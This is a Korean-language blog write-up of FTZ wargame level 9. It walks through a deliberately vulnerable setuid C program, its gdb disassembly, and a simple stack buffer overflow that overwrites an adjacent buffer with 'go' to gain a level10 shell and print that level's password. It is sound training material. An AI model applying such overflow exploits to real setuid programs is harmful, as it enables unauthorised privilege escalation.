[FTZ] Level 9

Sisyphus·2022년 7월 14일

FTZ

목록 보기
19/30
[level9@ftz level9]$ cat hint
다음은 /usr/bin/bof의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(){
 
  char buf2[10];
  char buf[10];
 
  printf("It can be overflow : ");
  fgets(buf,40,stdin);
 
  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }
 
}   

이를 이용하여 level10의 권한을 얻어라.

ls 명령어를 이용해서 파일을 출력을 해보면 hint가 있습니다. hint를 봐보면 소스코드가 나오고 이 코드를 이용해서 level 10의 권한을 얻으라고 합니다.


소스코드를 해석해보면

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(){
 
  char buf2[10];
  char buf[10];
 
  printf("It can be overflow : ");
  fgets(buf,40,stdin);    // buf에 표준 입력으로 40 Byte를 받음
 
  if ( strncmp(buf2, "go", 2) == 0 )	// 문자열 buf2가 go랑 같은지 비교
   {	// 만약 같다면
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );		// real uid와 effective uid를 3010으로 변경
        system("/bin/bash");		// system 함수를 이용해서 /bin/bash 실행
   }
}

fgets() 부분을 봐보면 buf의 크기보다 훨씬 큰 크기의 데이터를 입력받고 있습니다. 그래서 버퍼 오버플로우가 발생합니다.


버퍼 오버플로우 공격을 하기 위해서는 메모리 구조를 알아야 합니다. 그래서 gdb로 분석을 해보겠습니다.

[level9@ftz level9]$ cd /usr/bin
[level9@ftz bin]$ ls -l | grep bof
-rws--x---    1 level10  level9      12111 Sep 10  2011 bof
[level9@ftz bin]$ gdb -q bof
bof: No such file or directory.
(gdb) disas main
No symbol table is loaded.  Use the "file" command.

아무것도 안 나옵니다. 힌트 부분의 소스코드를 따로 컴파일 해서 시도를 해봐야 할거 같습니다.

[level9@ftz tmp]$ vi bof.c
[level9@ftz tmp]$ gcc -o bof bof.c
[level9@ftz tmp]$ ls
bof  bof.c

다시 시도를 해보면, 어셈블리어가 출력됩니다.

[level9@ftz tmp]$ gdb -q bof
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048420 <main+0>:	push   ebp
0x08048421 <main+1>:	mov    ebp,esp
0x08048423 <main+3>:	sub    esp,0x28
0x08048426 <main+6>:	and    esp,0xfffffff0
0x08048429 <main+9>:	mov    eax,0x0
0x0804842e <main+14>:	sub    esp,eax
0x08048430 <main+16>:	sub    esp,0xc
0x08048433 <main+19>:	push   0x8048554
0x08048438 <main+24>:	call   0x8048350 <printf>
0x0804843d <main+29>:	add    esp,0x10
0x08048440 <main+32>:	sub    esp,0x4
0x08048443 <main+35>:	push   ds:0x8049698
0x08048449 <main+41>:	push   0x28
0x0804844b <main+43>:	lea    eax,[ebp-40]
0x0804844e <main+46>:	push   eax
0x0804844f <main+47>:	call   0x8048320 <fgets>
0x08048454 <main+52>:	add    esp,0x10
0x08048457 <main+55>:	sub    esp,0x4
0x0804845a <main+58>:	push   0x2
0x0804845c <main+60>:	push   0x804856a
0x08048461 <main+65>:	lea    eax,[ebp-24]
0x08048464 <main+68>:	push   eax
0x08048465 <main+69>:	call   0x8048330 <strncmp>
0x0804846a <main+74>:	add    esp,0x10
0x0804846d <main+77>:	test   eax,eax
0x0804846f <main+79>:	jne    0x80484a6 <main+134>
0x08048471 <main+81>:	sub    esp,0xc
0x08048474 <main+84>:	push   0x804856d
0x08048479 <main+89>:	call   0x8048350 <printf>
0x0804847e <main+94>:	add    esp,0x10
0x08048481 <main+97>:	sub    esp,0x8
0x08048484 <main+100>:	push   0xbc2
0x08048489 <main+105>:	push   0xbc2
0x0804848e <main+110>:	call   0x8048360 <setreuid>
0x08048493 <main+115>:	add    esp,0x10
0x08048496 <main+118>:	sub    esp,0xc
0x08048499 <main+121>:	push   0x804857a
0x0804849e <main+126>:	call   0x8048310 <system>
0x080484a3 <main+131>:	add    esp,0x10
0x080484a6 <main+134>:	leave  
0x080484a7 <main+135>:	ret    
---Type <return> to continue, or q <return> to quit---
End of assembler dump.

어셈블리어를 대략적으로 해석해보면

0x08048420 <main+0>:	push   ebp
0x08048421 <main+1>:	mov    ebp,esp
0x08048423 <main+3>:	sub    esp,0x28
0x08048426 <main+6>:	and    esp,0xfffffff0
0x08048429 <main+9>:	mov    eax,0x0
0x0804842e <main+14>:	sub    esp,eax
0x08048430 <main+16>:	sub    esp,0xc
0x08048433 <main+19>:	push   0x8048554
0x08048438 <main+24>:	call   0x8048350 <printf>
0x0804843d <main+29>:	add    esp,0x10
0x08048440 <main+32>:	sub    esp,0x4
0x08048443 <main+35>:	push   ds:0x8049698       // stdin
0x08048449 <main+41>:	push   0x28	              // 28
0x0804844b <main+43>:	lea    eax,[ebp-40]	      // eax = buf
0x0804844e <main+46>:	push   eax	              // buf
0x0804844f <main+47>:	call   0x8048320 <fgets>  // fgets(buf, 0x28, stdin) 
0x08048454 <main+52>:	add    esp,0x10
0x08048457 <main+55>:	sub    esp,0x4
0x0804845a <main+58>:	push   0x2	// 2
0x0804845c <main+60>:	push   0x804856a			// "go"
0x08048461 <main+65>:	lea    eax,[ebp-24]			// eax = buf2
0x08048464 <main+68>:	push   eax					// buf2
0x08048465 <main+69>:	call   0x8048330 <strncmp>	// strncmp(buf2, "go", 2)
0x0804846a <main+74>:	add    esp,0x10
0x0804846d <main+77>:	test   eax,eax				// compare strncmp(buf2, "go", 2), 0
0x0804846f <main+79>:	jne    0x80484a6 <main+134>	// 같지 않으면 main+134로 jump
0x08048471 <main+81>:	sub    esp,0xc
0x08048474 <main+84>:	push   0x804856d			// "Good Skill!\n"
0x08048479 <main+89>:	call   0x8048350 <printf>	// printf("Good Skill!\n")
0x0804847e <main+94>:	add    esp,0x10
0x08048481 <main+97>:	sub    esp,0x8
0x08048484 <main+100>:	push   0xbc2				// 3010
0x08048489 <main+105>:	push   0xbc2				// 3010
0x0804848e <main+110>:	call   0x8048360 <setreuid>	// setreuid(3010, 3010)
0x08048493 <main+115>:	add    esp,0x10
0x08048496 <main+118>:	sub    esp,0xc
0x08048499 <main+121>:	push   0x804857a			// "/bin/bash"
0x0804849e <main+126>:	call   0x8048310 <system>	// system("/bin/bash")
0x080484a3 <main+131>:	add    esp,0x10
0x080484a6 <main+134>:	leave  
0x080484a7 <main+135>:	ret

메모리 구조를 그려보면

buf~buf2까지 거리는 16이기 때문에 A를 16개 입력하고 go를 입력하면 buf2 값이 "go"로 변조되어 쉘이 뜨게 됩니다.


한번 해보면

[level9@ftz tmp]$ bof
It can be overflow : aaaaaaaaaaaaaaaago
Good Skill!
[level10@ftz tmp]$

Good Skill!이 출력되고 user가 level 10으로 변경되었습니다.


[level10@ftz tmp]$ my-pass

Level10 Password is "interesting to hack!"

my-pass 명령어를 입력해보면 Level10의 Password가 출력됩니다.

0개의 댓글